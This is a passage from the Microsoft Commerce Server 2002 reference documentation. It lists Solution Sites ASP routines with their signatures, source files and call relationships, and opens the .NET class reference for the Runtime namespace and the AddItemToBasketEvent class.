A Boolean indicating whether there are no values.
htmContent
An HTML string containing the HTML representation of the refined search results.

Defined in File

stepsrch.asp

Routines Called

BooleanToString

GenerateURL

GetRequestString

RemoveBlankItemsFromArray

RenderForm

RenderHiddenField

RenderListBoxFromArray

RenderSubmitButton

RenderText

Space

Called By

htmRenderStepSearchPageContent


ShowSearchMatches - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub shows search matches.

Definition

Sub ShowSearchMatches(
  byRef oCatalog,
  byRef rsResults,
  byVal iMatchesFound,
  byRef htmContent
)

Parameters

oCatalog
A reference to a ProductCatalog object.
rsResults
A reference to a Recordset object containing the search results, passed through to the functions RenderCategoryLink and RenderProductLink.
iMatchesFound
An integer that specifies the number of matches found, passed through to the function RenderText.
htmContent
An HTML string containing the HTML representation of the refined search results.

Defined in File

stepsrch.asp

Routines Called

RenderCategoryLink

RenderProductLink

RenderText

Called By

htmRenderStepSearchPageContent


sLookUpPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function looks up the payment method.

Definition

Function sLookUpPaymentMethod(
  mscsOrderGrp,
  listMethods
)

Defined in File

dispatch.asp

Routines Called

GetDefaultPaymentMethodForUser

IsEntityInList

Called By

Main (dispatch.asp)


SortDictionaryKeys - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function sorts the keys for a Dictionary object and puts the result into a SimpleList object.

Definition

Function SortDictionaryKeys(
  Dictionary
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

CheckBasket

htmRenderSummaryPage


Space - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function counts spaces and renders the appropriate number of HTML spaces (&nbsp).

Definition

Function Space(
  byVal iSize
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


sReConstructPageURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function re-constructs the page URL and replaces the key values.

Definition

Function sReConstructPageURL(
  byVal arrQSKeyName,
  byVal arrQSKeyValue
)

Defined in File

services\include\render_common.asp

Routines Called

sReplaceString

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions


sRenderAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an address dictionary.

Definition

Function sRenderAddress(
  dictAddress
)

Defined in File

services\include\render_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents

Remarks

The source code also illustrates how to render an alternative address format.


sRenderHTMLPreFixForProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Required" icon or check box (for multi-edits) before each property in an EDIT-type page.

Definition

Function sRenderHTMLPreFixForProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderCheckBox

Called By

rowRenderBlankProperty

rowRenderProperty


sReplaceString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function replaces or adds the value for a key in a query string with a new value.

Definition

Function sReplaceString(
  byVal sQueryString,
  byVal sEncodedKey,
  byVal sEncodedNewValue
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

sReConstructPageURL


StringToBoolean - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a String to a Boolean.

Definition

Function StringToBoolean(
  sValue
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


SubmitUsingBizTalk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function submits an order using the Submit method of the BizTalk Server Interchange object.

Definition

Function SubmitUsingBizTalk(
  byVal sXML,
  byVal sVendorName,
  byVal sDestQual,
  byVal sDestQualValue
) (
  changing
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

InvokeBizTalk


sUserCatalogsAsString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the catalogs associated with a user as a comma-separated list, suitable for passing to various catalog methods that accept a list of catalogs as a parameter.

Definition

Function sUserCatalogsAsString()

Parameters

None.

Return Value

A string containing the catalogs associated with the user, as a comma-separated list.

Defined in File

include\catalog.asp

Routines Called

mscsUserCatalogs

Called By

rsFreeTextSearch


tableChangePasswordTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders Save and Close buttons with their appropriate text messages wrapped in a table.

Definition

Function tableChangePasswordTasks(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_password.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderChangePasswordPageContents


tableRenderBlankProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render tables for blank editing pages.

Definition

Function tableRenderBlankProfile(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

iGetCurrentUserPropertyAccessClass

RenderTable

rowRenderBlankProperty

rowRenderEditSheetBlankLine

rowRenderPropertyGroup

rowRenderReadOnlyProperty

sGetUserAccessForThisProperty

Called By

formRenderBlankEditPageBody


tableRenderChangePasswordContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the Password Change edit page.

Definition

Function tableRenderChangePasswordContents(
  byVal rsUser,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

GetRequestString

RenderPasswordBox

RenderTable

TRTag

Called By

formRenderChangePasswordPageContents


tableRenderEditPageTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders tasks buttons for the current page.

Definition

Function tableRenderEditPageTasks(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderCheckBox

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderBlankEditPageBody

formRenderEditPageBody


tableRenderFooterInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders footer information for the current page.

Definition

Function tableRenderFooterInfo(
  byVal sAction,
  byVal sSubAction,
  byVal iPageNumber,
  byVal iTotalRecords,
  byVal iTotalPages,
  byVal bRequiresPagingCtrls,
  byVal bRequiresLastPageCtrl
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

FormatOutput

formRenderPagingButtons

htmRenderBlankSpaces

RenderTable

RenderText

sGetThisPageProperty

TRTag

Called By

htmRenderOrderList

htmRenderProfilesList


tableRenderListPageTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders tasks specific to LIST-type pages.

Definition

Function tableRenderListPageTasks(
  byVal sAction,
  byVal sSubAction
)

Defined in File

services\include\render_list.asp

Routines Called

htmRenderBlankSpaces

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderListPageContents


tableRenderMessageBoxPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a message box page.

Definition

Function tableRenderMessageBoxPage(
  byVal sTitle,
  byVal sHeading,
  byVal bNumberList,
  byVal arrBody,
  byVal sFooter,
  byVal arrButtons,
  byVal arrDestination,
  byVal arrSaveFormPosted
)

Defined in File

services\include\render_messagebox.asp

Routines Called

Bold

RenderTable

rowRenderMessageBoxPageContents

tableRenderMessageBoxPageButtons

TRTag

Called By

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect


tableRenderMessageBoxPageButtons - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page submit buttons.

Definition

Function tableRenderMessageBoxPageButtons(
  byVal arrButtons,
  byVal arrDestination,
  byVal arrSaveFormPosted
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GetRequestString

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

TRTag

Called By

tableRenderMessageBoxPage


tableRenderMultipleRecords - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds list contents to the current page.

Definition

Function tableRenderMultipleRecords(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfiles,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef bIsEmpty
)

Defined in File

services\include\render_list.asp

Routines Called

arrPopulateProfileDetails

htmRenderEmptyRecordSet

RelocateRecordPointer2

RenderTable

rowRenderListHeading

SetGlobalPagingVariables

TRTag

Called By

formRenderListPageContents


tableRenderOrdersListContents - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a table of orders, including hidden fields containing the order number for each record.

Definition

Function tableRenderOrdersListContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\render_orders.asp

Routines Called

arrPopulateOrderHeaderDetails

htmRenderEmptyRecordSet

RelocateRecordPointer

RenderHiddenField

RenderTable

rowRenderListHeadingForOrders

SetGlobalPagingVariables

TRTag

Called By

formRenderOrdersListContents

Remarks

A paging mechanism ensures that the records are displayed up to the maximum specified by the RECORDS_PER_PAGE constant value.


tableRenderOrdersListTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a toolbar containing tasks that can be performed on an order in the list. By default, this will show a button displaying the text stored in the MessageManager L_ORDERDETAILS_ACTION_BUTTON message and allows the user to see order details.

Definition

Function tableRenderOrdersListTasks(
  sAction
)

Defined in File

services\include\render_orders.asp

Routines Called

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderOrdersListContents


tableRenderProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an edit page for a profile.

Definition

Function tableRenderProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

RenderTable

rowRenderEditSheetBlankLine

rowRenderHiddenProperty

rowRenderProperty

rowRenderPropertyGroup

rowRenderReadOnlyProperty

sGetUserAccessForThisProperty

Called By

formRenderEditPageBody


Tag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function encloses the text segment between a beginning and an ending HTML tag.

Definition

Function Tag(
  byVal sTagName,
  byVal htmText
)

Parameters

sTagName
A string containing the tag.
htmText
An HTML string containing the text to be displayed.

Return Value

A string containing the HTML representation of the starting tag, the text to be displayed, and the ending tag.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderNavbar

RenderPreFormattedText


tblOrderDetailsTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a CANCEL_ACTION button for use in rendering the order details, and is used when the user wants to close the displayed page.

Definition

Function tblOrderDetailsTasks(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_orders.asp

Routines Called

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderOrderContents


tblRenderOrderDetailsContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function displays order header and line items in an table format.

Definition

Function tblRenderOrderDetailsContents(
  byVal rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

Bold

cellRenderReadOnlyProperty

GetAnyOrderForm

htmRenderBlankSpaces

htmRenderCurrency

mscsGetOrderGroupWithDiscountsByID

RenderTable

rowRenderLineItemHeader

sGetAddressName

sGetOrderStatusDetails

sGetPaymentMethodString

sRenderAddress

TRTag

Called By

formRenderOrderContents


TDTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a data cell in an HTML table.

Definition

Function TDTag(
  byVal sDataCell,
  byVal sAlignment,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

DoubleQuote

Called By

TRTag

Remarks

The routine RenderTableDataRow provides an alternative, preferred method for constructing HTML table data cells.


TerminateConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets the objects on the confirmation page to Nothing.

Definition

Sub TerminateConfirmationPage(
  byRef mscsOrderGrp
)

Defined in File

confirm.asp

Routines Called

None.

Called By

Main (confirm.asp)


TerminatePO - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets purchase order objects to Nothing.

Definition

Sub TerminatePO(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds
)

Defined in File

po.asp

Routines Called

None.

Called By

Main (po.asp)


TerminateSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets the objects on the summary page to Nothing.

Definition

Sub TerminateSummaryPage(
  byRef mscsOrderGrp,
  byRef mscsAnyOrderForm,
  byRef dictAnyItem,
  byRef listMethods
)

Defined in File

summary.asp

Routines Called

None.

Called By

Main (summary.asp)


THTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header cell in an HTML table.

Definition

Function THTag(
  byVal sHeaderCell,
  byVal sAlignment,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

DoubleQuote

Called By

TRTag

Remarks

The routine RenderTableHeaderRow provides an alternative, preferred method for constructing HTML table header cells.


TRTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a table row.

Definition

Function TRTag(
  byVal arrCell,
  byVal arrCellAlignment,
  byVal sAttList,
  byVal bHeaderRow,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

TDTag

THTag

Called By

cellRenderReadOnlyProperty

formRenderOrderSearchOptions

formRenderProfileSearchOptions

htmRenderEmptyRecordSet

rowRenderAdvancedSearchOptionsForOrders

rowRenderBlankProperty

rowRenderEditSheetBlankLine

rowRenderLineItemHeader

rowRenderListHeading

rowRenderListHeadingForOrders

rowRenderMessageBoxPageContents

rowRenderProperty

rowRenderPropertyGroup

rowRenderPropertyTip

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

rowRenderStatusInfo

tableChangePasswordTasks

tableRenderChangePasswordContents

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

tableRenderMultipleRecords

tableRenderOrdersListContents

tableRenderOrdersListTasks

tblOrderDetailsTasks

tblRenderOrderDetailsContents


UpdateAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub creates a profile for the specified address.

Definition

Sub UpdateAddressBook(
  byVal dictAddr,
  byVal sAction,
  byRef sAddrID,
  byVal rsAddr
)

Defined in File

newaddr.asp

Routines Called

None.

Called By

SetupAddressForm


UpdatePasswordActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the user_security_password property for the user.

Definition

Function UpdatePasswordActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

bValidatePasswordChars

GetRequestString

htmRenderChangePasswordPage

UpdateUserPasswordProperty

Called By

PasswordActionHandlers


UpdateSelectActionPropertyName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates properties changed by the user. The fields associated with the selected properties are updated, as well as the "changed by" and "date updated" values.

Definition

Sub UpdateSelectActionPropertyName(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

GetRequestString

iGetCountOfProfiles

rsGetProfileDetails

SaveCommonValueForAllSelectedRecords

SaveProfileProperty

sGetSelectActionPropertyName

Called By

PrepareSelectedAction


UpdateUserAccountControlProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the user_account_control property of the profile based on the iPartnerDeskRole and dictSearchOptions parameters.

Definition

Sub UpdateUserAccountControlProperty(
  byVal iPartnerDeskRole,
  byVal dictSearchOptions
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetTableNameAndWhereClause

sAddSetClause

sAddWhereClauseForPartnerRole

sConstructWHEREclause

Called By

AddSetClauseAndUpdateUserAccountControl


UpdateUserPasswordProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the user password property depending on the current user type (DELEGATED_ADMIN or USER).

Definition

Sub UpdateUserPasswordProperty(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sUserOldPassword,
  byVal sUserNewPassword
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

iGetCountOfProfiles

rsGetUserDetails

Called By

UpdatePasswordActionHandler


UpdateUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the profile for the current user.

Definition

Sub UpdateUserProfile(
  byRef rsUser
)

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

bSaveProfileDetails

GetNewGuestUserProfile

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

Remarks

This is a wrapper subroutine for the Update method of the ProfileObject object. Call this subroutine whenever you update the current profile for the current user or when you create a new profile for the current user. This subroutine automatically sets the date_last_changed property and writes this information to a cookie (where supported) to handle host switching in a Web farm.


ValidateFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates submitted profile form fields retrieved from the HTTP request using the profile schema specified by the listCtrls parameter.

Definition

Function ValidateFields(
  byVal listCtrls
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

sGetUserAccessForThisProperty

Called By

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveChangesConfirmation

PrepareSaveProfiles


ValidateSubmittedCreditCardData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates credit card data.

Definition

Function ValidateSubmittedCreditCardData(
  mscsOrderGrp,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs,
  sVerifyWithTotal
)

Defined in File

crdtcard.asp

Routines Called

CheckOut

GetAnyOrderForm

GetFieldsErrorDictionary

SetCreditCardInfo

Called By

InitializeCreditcardPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


ValidateSubmittedLoginData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates login data.

Definition

Function ValidateSubmittedLoginData(
  rsLoginUser,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs
)

Defined in File

login\login.asp

Routines Called

GetDictionary

GetFieldsErrorDictionary

GetQualifiedName

GetSimpleList

rsGetProfile

Called By

PrepareLoginPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


ValidateSubmittedPurchaseOrderData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates submitted purchase order data.

Definition

Function ValidateSubmittedPurchaseOrderData(
  mscsOrderGrp,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs,
  byVal sVerifyWithTotal
)

Defined in File

po.asp

Routines Called

CheckOut

GetAnyOrderForm

GetFieldsErrorDictionary

SetPurchaseOrderInfo

Called By

Main (po.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


varGetPropertyValue - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines the profile property value to display.

Definition

Function varGetPropertyValue(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

varUpdateValueForCurrentAction

Called By

rowRenderProperty


varGetValueFromPropertyDictionaries - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value from a list of property dictionaries.

Definition

Function varGetValueFromPropertyDictionaries(
  byVal oProperty,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

None.

Called By

rowRenderBlankProperty

varGetPropertyValue


varGetValueFromRequestObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value from the underlying Request object (URL or HTML FORM).

Definition

Function varGetValueFromRequestObject(
  byVal oProperty
)

Defined in File

services\include\render_edit_common.asp

Routines Called

GetRequestString

Called By

rowRenderBlankProperty

rowRenderReadOnlyProperty

varGetPropertyValue


varUpdateValueForCurrentAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value based on the current action type as stored in the global variable sAction.

Definition

Function varUpdateValueForCurrentAction(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfile,
  byVal oProperty,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

Called By

varGetPropertyValue


Programmer's Reference

This section provides reference documentation about programming with the Microsoft Commerce Server 2002 platform. This includes information about the Commerce Server .NET Application Framework namespaces and classes, the configuration settings for the web.config file, Component Object Model (COM) objects, the COM interfaces you can implement, the supplied pipeline components, XML structures, database schemas, Commerce Server Business Desk utilities, and so on.

This section contains:

  • .NET Class Reference. Provides reference documentation for the Commerce Server .NET Application Framework classes.
  • .NET Configuration Settings. Provides reference documentation for the configuration settings used in the web.config file in Commerce Server .NET Application Framework applications.
  • COM Object Reference. Provides reference documentation for the COM objects supplied with Commerce Server, and for each of their properties and methods. These are the objects that you will explicitly create and invoke. This section contains parallel reference pages that describe the objects from the perspective of two different programming languages:
    • Microsoft Visual Basic/Microsoft Visual Basic Scripting Edition (VBScript)
    • C++
  • Interface Reference. Provides reference documentation for the COM interfaces that you can implement so that your objects can be invoked by Commerce Server. These include the pipeline interfaces that you implement to create your own pipeline components, and the Site Packager interface that allows you to build objects that can be invoked by Site Packager and Commerce Server Manager.
  • Pipeline Component Reference. Provides reference documentation for the pipeline components supplied with Commerce Server.
  • OLE DB Provider for Commerce Server. Provides reference documentation for the OLE DB Provider that provides access to the Profiles service and the Data Warehouse within Commerce Server.
  • Business Desk Reference. Provides reference documentation for Business Desk, including details of the events, properties, and methods of the HTML Components (HTCs), as well as details about the constants, global variables, and utility routines provided by Business Desk.
  • XML Reference. Provides reference documentation for the structure of various XML documents used within Commerce Server.
  • Schema Reference. Provides reference documentation about various database schemas used in key areas of Commerce Server where detailed knowledge of the schema is important.
  • Style Sheet Reference. Provides information about the Cascading Style Sheets (CSS) used by the Business Desk.


.NET Class Reference

This section contains reference pages for objects and services used in .NET-based Commerce Server applications.

This section contains:

  • Microsoft.CommerceServer.Runtime. Describes the classes contained in the Microsoft.CommerceServer.Runtime namespace.
  • Microsoft.CommerceServer.Runtime.Caching Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Caching namespace.
  • Microsoft.CommerceServer.Runtime.Catalog Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Catalog namespace.
  • Microsoft.CommerceServer.Runtime.Configuration Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Configuration namespace.
  • Microsoft.CommerceServer.Runtime.Diagnostics Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Diagnostics namespace.
  • Microsoft.CommerceServer.Runtime.Orders Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Orders namespace.
  • Microsoft.CommerceServer.Runtime.Pipelines Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Pipelines namespace.
  • Microsoft.CommerceServer.Runtime.Profiles Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Profiles namespace.
  • Microsoft.CommerceServer.Runtime.Targeting Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Targeting namespace.
  • Microsoft.CommerceServer.Interop Describes the Primary Interop classes contained in the Microsoft.CommerceServer.Interop namespace.

See Also

Commerce Server .NET Application Framework


Microsoft.CommerceServer.Runtime

The classes in the Microsoft.CommerceServer.Runtime namespace contain the functionality needed for authentication, event logging, and other core runtime services.

Microsoft.CommerceServer.Runtime Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime namespace.

Classes

Class | Description
AddItemToBasketEvent | Captures additions to the basket events.
AuthenticationInfo | Abstracts the authentication components.
AuthManager | Performs user identification and authentication and is used to manage user security information.
AuthTicket | Contains the authentication ticket for the user.
BaseCommerceEvent | Abstract base class from which all Commerce event classes derive.
BasketEvent | Provides base functionality for all the basket related events. This class cannot be used as a commerce event. Use the AddItemToBasket class or the RemoveItemFromBasket class as a commerce event instead.
CommerceApplicationModule | The primary CommerceModule responsible for initialization of the site framework. This module must be listed before all other CommerceModules in the httpModules section.
CommerceAuthenticationException | Base class for exceptions thrown from Authentication sub-system.
CommerceAuthenticationFailedDecryptionException | Base class for exceptions thrown from the Authentication sub-system.
CommerceAuthenticationModule | Provides a framework context for managing the authentication of site visitors, client side cookie detection, and creation of an instance of the AuthManagerInfo class at page scope.
CommerceContext | The primary class used to interface with Commerce Server. Provides access to request-level Commerce Server context such as the current UserObject.
CommerceCreateObjectException | Exception raised when a COM object could not be created.
CommerceDebugException | A special exception raised by components of a Commerce Server application when they encounter an error during the Debug or Checked mode of operation.
CommerceEventAttribute | Attributes that identify a class as being a Commerce Event.
CommerceEventMemberAttribute | Marks properties as Commerce event properties.
CommerceException | Base type for all .NET-based Commerce Server exceptions.
CommerceModule | All Commerce Server modules inherit from CommerceModule. CommerceModule is an IHttpModule.
CommerceModuleDependencyException | Exception raised when a module depends on another module that has not been configured.
CommerceResourceDependencyException | Exception raised when a resource does not exist in the Commerce Server Administration database.
CommerceServerInfo | Gets the installed culture for Commerce Server 2002.
Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
ProfileTicket | Contains the profile ticket for the user.
QueryStringBuilder | Builds encrypted query strings for cookie and cookieless browsers.
ReadOnlyStringCollection | Provides a read-only string collection. Inherits from the ReadOnlyCollectionBase class.
RemoveItemFromBasketEvent | Event used whenever items are removed from the shopping basket.
SimpleList | Allows creation of an array of Variants that support enumeration.
SubmitOrderEvent | Event used whenever orders are submitted for processing.
TicketBase | Provides the base functionality for ticket handling operations in the Commerce Server 2002 Application Runtime.

Enumerations

Enumeration | Description
LogStatus | Enumerator listing the return type values for the LogCommerceEvent method.

Examples

Example | Description
Code to Build a Login Page | Describes how to check for authenticated users, to set tickets to identify users, and to add and modify ticket properties.

See Also

Commerce Server .NET Application Framework Tutorial


AddItemToBasketEvent Class (BCL)

Event used whenever items are added to the shopping basket.

Public Instance Constructor

Constructor | Description
AddItemToBasketEvent Constructor | Creates a new instance of the AddItemToBasketEvent class.

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AddItemToBasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
AddItemToBasketEvent Constructor | Creates a new instance of the AddItemToBasketEvent class.


AddItemToBasketEvent Constructor (BCL)

Use this method to create a new instance of the AddItemToBasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public AddItemToBasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AddItemToBasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID properties for the basket event.


AddItemToBasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.


AddItemToBasketEvent.EventType Property (BCL)

The EventType property is a read-only string that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

